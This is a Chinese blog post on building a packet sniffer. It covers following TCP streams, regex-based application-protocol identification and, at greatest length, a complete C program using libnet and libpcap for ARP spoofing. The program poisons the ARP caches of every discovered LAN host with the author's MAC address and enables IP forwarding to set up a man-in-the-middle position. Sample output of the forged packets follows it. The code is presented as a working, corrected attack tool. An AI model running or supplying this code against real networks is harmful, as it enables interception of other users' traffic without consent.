zoukankan      html  css  js  c++  java
  • 编写自己的sniffer(二)

     

    一、提取端到端的流数据

     

      在wireshark抓包的过程中,发现了一个比较实用的功能,就是follow tcp stream,也即跟踪端到端之间两个主机间的所有应用层数据,于是我就自己尝试着实现这个功能,构造五元组数据结构,比较判断是否是相同连接。

    由于有了上篇设计的流表,follow tcp stream的功能很容易实现,只需在原来的流表基础上,在五元组数据结构中添加一个指针域,指向该五元组的应用层数据结点。没识别一个相同的tcp或者udp连接,便插入该数据结点链表中,

    所以follow tcp stream只需要遍历整个流表:1、计算hash;2、遍历五元组链表并比较;3、找到该五元组后,顺序遍历并打印应用层数据结点内容即可。

      以下是follow tcp stream的运行结果:

      

      

    为了提高应用层数据的可读性并直观的表示,下面是应用层数据打印的结果(跟wireshark图形界面显示的一样):

     

    二、arp欺骗

     

    基本原理我就不罗嗦了,可以参考下面的文章(讲得非常不错):

    交换型网络环境嗅探原理及LINUX下的实现

    但是作者的代码运行却出现了很多错误,我猜测是libnet的版本问题,所以参照新版本的libnet的API修改了源代码:

     

    
    
      1 #include <stdarg.h>
      2 
      3 #include <libnet.h>
      4 
      5 #include <pcap.h>
      6 
      7 #include <signal.h>
      8 
      9 
     10 
     11 #define SECONDS 10
     12 
     13 typedef struct host HOST;//存放主机信息的链表
     14 
     15 
     16 
     17 struct host    
     18 
     19 {
     20 
     21     u_long ip;  //IP地址
     22 
     23     u_char mac[ETHER_ADDR_LEN];//MAC地址
     24 
     25     int mac_flag;   //  0 时mac为空,1时mac不为空
     26 
     27     HOST * next;
     28 
     29 };
     30 
     31 HOST * head, * tail;
     32 
     33 
     34 
     35
     36 
     37 typedef struct arphdr
     38 
     39 {
     40 
     41     u_int16_t  ar_hrd;    /*format of hardware address*/
     42 
     43     u_int16_t ar_pro;    /*format of protocol address*/
     44 
     45     u_char ar_hln;        /*length of hardware address*/
     46 
     47     u_char ar_pln;        /*length of protocol address*/
     48 
     49     u_int16_t ar_op;        /*ARP/RARP operation*/
     50 
     51 
     52 
     53     u_char ar_sha[6];    /*sender hardware address*/
     54 
     55     u_char ar_spa[4];    /*sender IP address*/
     56 
     57     u_char ar_tha[6];    /*target hardware address*/
     58 
     59     u_char ar_tpa[4];    /*target IP address*/
     60 
     61 }arphdr_t ;
     62 
     63 
     64 
     65 
     66 
     67 u_long MYIP ;//本机IP地址
     68 
     69 u_char MYMAC[ETHER_ADDR_LEN];//本机MAC地址
     70 
     71 
     72 
     73 int pktsize = LIBNET_ETH_H + LIBNET_ARP_H; //数据包
     74 
     75 char * device;
     76 
     77 pcap_t * p;
     78 
     79 u_char errbuf[LIBNET_ERRBUF_SIZE >= PCAP_ERRBUF_SIZE ? LIBNET_ERRBUF_SIZE : PCAP_ERRBUF_SIZE];
     80 
     81 u_char * packet;
     82 
     83 libnet_t * netif;
     84 
     85 
     86 int errexit(const char *format, ...)
     87 
     88 {
     89 
     90     va_list    args;
     91 
     92 
     93 
     94     va_start(args, format);
     95 
     96     vfprintf(stderr, format, args);
     97 
     98     va_end(args);
     99 
    100     exit(1);
    101 
    102 }
    103 
    104 
    105 
    106 int mac_equal(u_char * mac1, u_char *mac2)
    107 
    108 {
    109 
    110      return ( memcmp(mac1, mac2, ETHER_ADDR_LEN) == 0 ? 1 : 0);//比较mac1与mac2的地址是否相等,相等返回1
    111 
    112 }
    113 
    114 
    115 
    116 
    117 
    118 /*
    119 
    120  @param:ip,源ip/目的ip;mac,源mac/目的mac
    121 
    122  @func:被动收集网络拓朴结构,向链表增加主机信息
    123 
    124  @note:每收到一个ARP请求/应答包,都执行add_host( )两次:add_host(发送端IP,发送端MAC),add_host(目的端IP,目的端MAC)。  
    125 
    126 */
    127 
    128 void add_host(u_long ip, u_char * mac)
    129 
    130 {
    131 
    132     HOST * new = NULL;
    133 
    134     HOST * cur = NULL;
    135 
    136 
    137 
    138     if( (ip == MYIP) || (mac && mac_equal(mac, MYMAC)) )//正常的ARP请求包和应答包,IP或MAC地址为本机的则忽略
    139 
    140         return;
    141 
    142 
    143 
    144     // 遍历链表查询IP地址
    145 
    146     for(cur = head; cur; cur = cur->next)
    147 
    148     {
    149 
    150         if( ip == cur->ip )//链表中存在该IP
    151 
    152         {
    153 
    154             if( mac )  // MAC不为空,则写入
    155 
    156             {
    157 
    158                 memcpy(cur->mac, mac, ETHER_ADDR_LEN);    //update mac message
    159 
    160                 cur->mac_flag = 1;
    161 
    162             }    
    163 
    164             return;
    165 
    166         }    
    167 
    168     }
    169 
    170     if(cur == NULL)  // 链表中没有该IP地址(ip!=cur->ip),则增加一个HOST节点
    171 
    172     {
    173 
    174         new = (HOST *)malloc(sizeof(HOST));
    175 
    176         new->ip = ip;
    177 
    178         if( mac )
    179 
    180         {
    181 
    182             memcpy(new->mac, mac, ETHER_ADDR_LEN);
    183 
    184             new->mac_flag = 1;
    185 
    186         }    
    187 
    188         else
    189 
    190             new->mac_flag = 0;//ARP请求
    191 
    192 
    193 
    194         new->next = NULL;
    195 
    196         if(! head)//把新节点加入链表
    197 
    198         {
    199 
    200             head = new;
    201 
    202             tail = new;
    203 
    204         }
    205 
    206         else
    207 
    208          {
    209 
    210             tail->next = new;
    211 
    212             tail = new;
    213 
    214         }  
    215 
    216     } 
    217 
    218 
    219 
    220     return;
    221 
    222 }
    223 
    224 
    225 
    226 void free_chain()
    227 
    228 {
    229 
    230     HOST * temp;
    231 
    232 
    233 
    234     for(temp = head; temp; temp = head)
    235 
    236     {
    237 
    238         head = temp->next;
    239 
    240         free(temp);
    241 
    242     }
    243 
    244 }
    245 
    246 
    247 
    248 void print_chain()
    249 
    250 {
    251 
    252     HOST * cur;
    253 
    254     char str[16];
    255 
    256     printf("\n遍历链表\n");
    257 
    258     for(cur = head; cur; cur = cur->next)
    259 
    260     {
    261 
    262         if(cur->mac_flag == 1)
    263 
    264             printf("(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)[%s]\n",
    265 
    266                 cur->mac[0], cur->mac[1], cur->mac[2], cur->mac[3], cur->mac[4], cur->mac[5],
    267 
    268              inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));//inet_ntop将整数转换成点分十进制
    269 
    270         else
    271 
    272             printf("(null)[%s]\n", inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));
    273 
    274     }
    275 
    276 }
    277 
    278 
    279 
    280 void sig_quit(int signo)
    281 
    282 {
    283 
    284     printf("caught SIGQUIT, free memory and close and exit !\n");
    285 
    286     free_chain();
    287 
    288     pcap_close(p);
    289 
    290     libnet_destroy(netif);//单数据包内存释放
    291 
    292     libnet_close_link(netif);//关闭链路层接口设备
    293 
    294     exit(0);
    295 
    296 }
    297 
    298 
    299 
    300 void send_fake_arp_packet()//发送伪造数据包
    301 
    302 {
    303 
    304     HOST * temp, * cur;
    305 
    306     u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
    307 
    308 
    309 
    310     for(cur = head; cur ; cur = cur->next)
    311 
    312     {
    313 
    314         if( cur->mac_flag == 0)   // 发送arp请求包给cur->ip以求该ip的mac地址
    315 
    316         {
    317 
    318             libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);//构造以太网协议数据包
    319 
    320             libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
    321 
    322                 MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, netif, 0);//构造ARP数据包
    323 
    324             //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)//发送链路层数据包
    325 
    326             if(libnet_write(netif) == -1)            
    327 
    328                 errexit("libnet_write_link_layer error1\n");
    329 
    330             continue;
    331 
    332         }    
    333 
    334         for(temp = head; temp; temp = temp->next)
    335 
    336         {
    337 
    338             if (temp == cur) 
    339 
    340                 continue;
    341 
    342 
    343 
    344             libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);
    345 
    346             libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
    347 
    348                 MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, netif, 0);
    349 
    350             //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
    351 
    352             if(libnet_write(netif) == -1)            
    353 
    354             {
    355 
    356                 perror("write_link");                
    357 
    358                 errexit("libnet_write_link_layer error2\n");
    359 
    360             }else {printf("\n write ok!\n");}
    361 
    362         }
    363 
    364     }    
    365 
    366     printf("\nStart Send Arp Packet\n");
    367 
    368 }
    369 
    370 
    371 
    372 void sig_arp(int signal)
    373 
    374 {
    375 
    376     send_fake_arp_packet();
    377 
    378     alarm(SECONDS);
    379 
    380     return;
    381 
    382 }    
    383 
    384 
    385 
    386 void linux_enable_ip_forwarding(void)
    387 
    388 {
    389 
    390     u_char *proc_node = "/proc/sys/net/ipv4/ip_forward";
    391 
    392     FILE *fp;
    393 
    394  
    395 
    396     if((fp = fopen(proc_node, "w")) == NULL)
    397 
    398         errexit("fopen FILE %s error\n", proc_node);
    399 
    400     if((fputs("1", fp)) == EOF)
    401 
    402         errexit("fputs FILE %s error\n", proc_node);
    403 
    404       fclose(fp);
    405 
    406 
    407 
    408     printf("IP forwarding enabled successfully\n");
    409 
    410 }
    411 
    412 
    413 
    414 int main(int argc, char ** argv)
    415 
    416 {
    417 
    418     unsigned int localnet, netmask;
    419 
    420     char    str1[16], str2[16];
    421 
    422     char  * ptr, * data ;
    423 
    424 
    425 
    426     struct bpf_program fcode;
    427 
    428     struct pcap_pkthdr hdr;
    429 
    430 
    431 
    432     struct libnet_ethernet_hdr * eth;
    433 
    434     arphdr_t *arp;    
    435 
    436     struct libnet_ether_addr * my_ether_addr;
    437 
    438 
    439 
    440     //struct libnet_l *libnet_ptr;
    441 
    442     if ( (device = pcap_lookupdev(errbuf)) == NULL)//获取网络接口
    443 
    444         errexit("pcap_lookup: %s", errbuf);
    445 
    446     printf("device = %s\n", device);
    447 
    448 
    449 
    450     if ( (p = pcap_open_live(device, 8000, 1, 500, errbuf)) == NULL)//获得用于捕获网络数据包的数据包捕获描述字
    451 
    452         errexit("pcap_open_live: %s", errbuf);
    453 
    454 
    455 
    456     if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0)//获取网络号
    457 
    458         errexit("pcap_lookupnet: %s", errbuf);
    459 
    460     
    461 
    462     printf("localnet = %s,  netmask = %s\n",
    463 
    464             inet_ntop(AF_INET, &localnet, str1, sizeof(str1)),
    465 
    466             inet_ntop(AF_INET, &netmask, str2, sizeof(str2)));
    467 
    468 
    469 
    470     printf("datalink = %d\n", pcap_datalink(p));//返回链路层类型
    471 
    472     
    473 
    474     
    475 
    476     if(argv[1] != NULL) // 设置过滤包
    477 
    478     {
    479 
    480         if(pcap_compile(p, &fcode, argv[1], 0, netmask) < 0)//将argv【1】编译到过滤程序中
    481 
    482             errexit("pcap_compile  : %s\n", errbuf);
    483 
    484 
    485 
    486         if(pcap_setfilter(p, &fcode) < 0)//把一个过滤器同一次抓包关联起来
    487 
    488             errexit("pcap_setfilter : %s\n", errbuf);
    489 
    490     }
    491 
    492 
    493 
    494     if ( signal(SIGALRM, sig_arp) == SIG_ERR )
    495 
    496         errexit("signal error\n");
    497 
    498     
    499 
    500     //LIBNET_LINK or LIBNET_LINK_ADV
    501 
    502     netif = libnet_init(LIBNET_LINK_ADV, device, errbuf);//第一个参数设定这个实列是在链路层工作,还是在IP层工作。 
    503 
    504     if(netif == NULL)
    505 
    506         perror("netif");
    507 
    508     
    509 
    510     if((my_ether_addr = libnet_get_hwaddr(netif)) == NULL)//获取接口设备硬件地址
    511 
    512         errexit("libnet_get_hwaddr : %s\n", errbuf);
    513 
    514     memcpy(MYMAC, (u_char *)my_ether_addr, ETHER_ADDR_LEN);
    515 
    516     
    517 
    518     if((MYIP = libnet_get_ipaddr4(netif)) == 0)//获取接口设备IP地址
    519 
    520         errexit("libnet_get_ipaddr : %s\n", errbuf);
    521 
    522     MYIP = htonl(MYIP);//将主机字节顺序转换成网络字节顺序
    523 
    524 
    525 
    526     printf("MYIP =  %s\n", inet_ntop(AF_INET, (void *)&MYIP, str1,sizeof(str1)));
    527 
    528     printf("MYMAC = %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",MYMAC[0], MYMAC[1],MYMAC[2],MYMAC[3],MYMAC[4],MYMAC[5]);
    529 
    530     linux_enable_ip_forwarding();
    531 
    532 
    533 
    534     fflush(stdout);//消除输出缓冲区
    535 
    536     signal(SIGINT, sig_quit);
    537 
    538     sig_arp(SIGALRM);
    539                     
    540 
    541     for( ; ; )
    542 
    543     {
    544 
    545         while((ptr = (char *)(pcap_next(p, &hdr))) == NULL);
    546 
    547         eth = (struct libnet_ethernet_hdr *)ptr;
    548 
    549         if(eth->ether_type == ntohs(ETHERTYPE_ARP))
    550 
    551         {
    552 
    553             arp = (arphdr_t *)(ptr+14);
    554 
    555             if(ntohs(arp->ar_op) == ARPOP_REQUEST)
    556 
    557             {
    558 
    559                 printf("arp request : ");    
    560 
    561                 printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ask the MAC of IP = ",
    562 
    563                     inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)),  //源ip:源mac
    564 
    565                     arp->ar_sha[0],
    566 
    567                     arp->ar_sha[1],
    568 
    569                     arp->ar_sha[2],
    570 
    571                     arp->ar_sha[3],
    572 
    573                     arp->ar_sha[4],
    574 
    575                     arp->ar_sha[5]);
    576 
    577                 printf("%s\n", inet_ntop(AF_INET, (void *)&arp->ar_tpa, str1,sizeof(str1)));  //目的ip
    578 
    579 
    580                 add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP,MAC
    581 
    582                 printf("\n添加目的ip,mac\n");
    583 
    584                 add_host(*((u_long *)arp->ar_tpa), (u_char *)NULL);  // 添加目的IP,MAC(NULL)
    585 
    586                 
    587 
    588                 print_chain();
    589 
    590                 fflush(stdout);
    591 
    592                 continue;
    593 
    594             }
    595 
    596 
    597 
    598             if(ntohs(arp->ar_op) == ARPOP_REPLY)
    599 
    600             {       
    601 
    602                 printf("arp reply   : ");    
    603 
    604                 printf("%s reply ", inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)));
    605 
    606                 
    607 
    608                 printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ",
    609 
    610                     inet_ntop(AF_INET,(void *)&arp->ar_tpa, str1, sizeof(str1)),  
    611 
    612                     arp->ar_tha[0],
    613 
    614                     arp->ar_tha[1],
    615 
    616                     arp->ar_tha[2],
    617 
    618                     arp->ar_tha[3],
    619 
    620                     arp->ar_tha[4],
    621 
    622                     arp->ar_tha[5]);
    623 
    624 
    625 
    626                 printf("my MAC is (%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)\n", 
    627 
    628                     arp->ar_sha[0],
    629 
    630                     arp->ar_sha[1],
    631 
    632                     arp->ar_sha[2],
    633 
    634                     arp->ar_sha[3],
    635 
    636                     arp->ar_sha[4],
    637 
    638                     arp->ar_sha[5]);
    639 
    640             
    641 
    642                 
    643 
    644                 if( *((u_long *)arp->ar_spa) != MYIP  && mac_equal(arp->ar_sha, MYMAC) )//如果应答包是我发送的欺骗包则忽略
    645 
    646                     continue;
    647 
    648                     
    649 
    650                 add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP,MAC
    651 
    652                 add_host(*((u_long *)arp->ar_tpa), (u_char *)arp->ar_tha);  // 添加目的IP,MAC
    653 
    654                 print_chain();
    655 
    656                 fflush(stdout);
    657 
    658                 continue;
    659             }        
    660         }    
    661     } 
    662 }

    运行结果:

    localnet = 192.168.0.0, netmask = 255.255.255.0
    MYIP = 85.0.168.192
    MYMAC = 44:87:fc:98:ec:ea
    IP forwarding enabled successfully

    发送arp响应(欺骗包):
    发送端MAC        发送端IP       目的MAC           目的IP
    44:87:fc:98:ec:ea   192.168.0.1    44:87:fc:98:ec:eb     192.168.0.41

    发送arp响应(欺骗包):
    发送端MAC        发送端IP       目的MAC          目的IP
    44:87:fc:98:ec:ea   192.168.0.127   44:87:fc:98:ec:eb      192.168.0.41

    发送arp响应(欺骗包):
    发送端MAC        发送端IP       目的MAC          目的IP
    44:87:fc:98:ec:ea   192.168.0.41    00:1a:64:a3:2b:e2      192.168.0.1

    发送arp响应(欺骗包):
    发送端MAC        发送端IP       目的MAC          目的IP
    44:87:fc:98:ec:ea   192.168.0.127    00:1a:64:a3:2b:e2    192.168.0.1

    发送arp请求(欺骗包):
    发送端MAC        发送端IP      目的MAC          目的IP
    44:87:fc:98:ec:ea   192.168.0.85   ff:ff:ff:ff:ff:ff        192.168.0.127


    Start Send Fake Arp Packet
    arp request : 192.168.0.1(00:1a:64:a3:2b:e2) ask IP ——> "tell me you mac" 192.168.0.127

    遍历主机链表格式:(MAC)[IP]
    ***************************
    (44:87:fc:98:ec:eb)[192.168.0.41]
    (00:1a:64:a3:2b:e2)[192.168.0.1]
    (null)[192.168.0.127]
    ***************************

     

    三、三次握手

     

    这个直接上图了

     

    四、基于正则表达式的应用层协议识别

     

    以下是基本设计思路:

     

    将各应用层协议正则模式串文件放到系统指定目录下,这些文件都可以从L7-filter官网下载:http://l7-filter.sourceforge.net/

     

    详细设计流程:

    PS:暂时实现了FTP、HTTP的识别,其他协议还不清楚原因。

     

  • 相关阅读:
    PHP 方法整合类 -- 1.根据概率产生随机数 --2.判断手机号归属地及运营商 --3.过滤emoji表情
    PHP 多图下载并打包压缩方法
    PHP 导出excel 精简版
    PHP获取首字母相关方法
    no input file specified 解决办法
    百度地图相关
    经纬度相关方法
    阿里云SSL证书部署至宝塔
    微信入口、生成菜单,公众号授权获取用户信息(unionid)
    超级好用超级简单的支付类库
  • 原文地址:https://www.cnblogs.com/Seiyagoo/p/2571383.html
Copyright © 2011-2022 走看看